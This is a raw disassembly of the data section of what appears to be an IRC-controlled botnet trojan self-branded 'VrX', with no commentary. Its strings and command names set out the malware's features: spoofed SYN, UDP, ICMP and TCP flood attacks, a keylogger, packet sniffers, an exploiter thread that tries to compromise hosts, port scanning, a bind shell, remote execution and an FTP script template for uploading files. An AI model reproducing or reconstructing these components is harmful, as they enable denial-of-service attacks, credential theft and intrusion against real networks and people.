aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 4
unk_42ABAC	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 4
unk_42ABD4	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC10	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC48	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
unk_42AC90	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42ACC4	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF8	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 10h
unk_42AD30	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 4
unk_42AD84	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADBC	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AE04	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE3C	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AE74	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEB8	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AF00	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; ___:00438B00o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; ___:00438B10o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 4
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 10h
dword_42B060	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B09C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 4
unk_42B0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4AA4o
					; ___:004387C8o
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 10h
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 10h
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 10h
aE:					; DATA XREF: sub_401ACD+49DAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 10h
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 10h
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 10h
aM:					; DATA XREF: sub_401ACD+47E0o
					; ___:004387D8o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 10h
aA:					; DATA XREF: sub_401ACD+4784o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B25C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B278	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B2A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2C4	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B304	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B344	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B364	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 10h
unk_42B390	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 4
dword_42B3E8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B408	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B440	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B474	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
dword_42B4A0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 10h
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 4
unk_42B4C8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4F4	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B530	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B56C	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 4
unk_42B598	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5C0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5EC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B628	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B664	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B694	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 10h
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 10h
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 10h
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; ___:004387CCo ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 10h
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 10h
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 10h
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 4
aO:					; DATA XREF: sub_401ACD+3E74o
					; ___:00438AFCo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 10h
aK:					; DATA XREF: sub_401ACD+3DBCo
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 10h
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; ___:004387D4o ...
		unicode	0, <n>,0
unk_42B790	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7F0	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B808	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B820	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B868	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B890	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B894	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B8A0	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B8A8	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 10h
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 10h
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 10h
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B918	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B92C	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B930	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B940	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B944	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B948	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 10h
unk_42B9B0	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 10h
unk_42B9F0	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 10h
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA28	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA54	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 4
unk_42BA94	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BAD0	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 4
unk_42BAFC	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB28	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB38	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB88	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBC4	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBF8	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC38	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
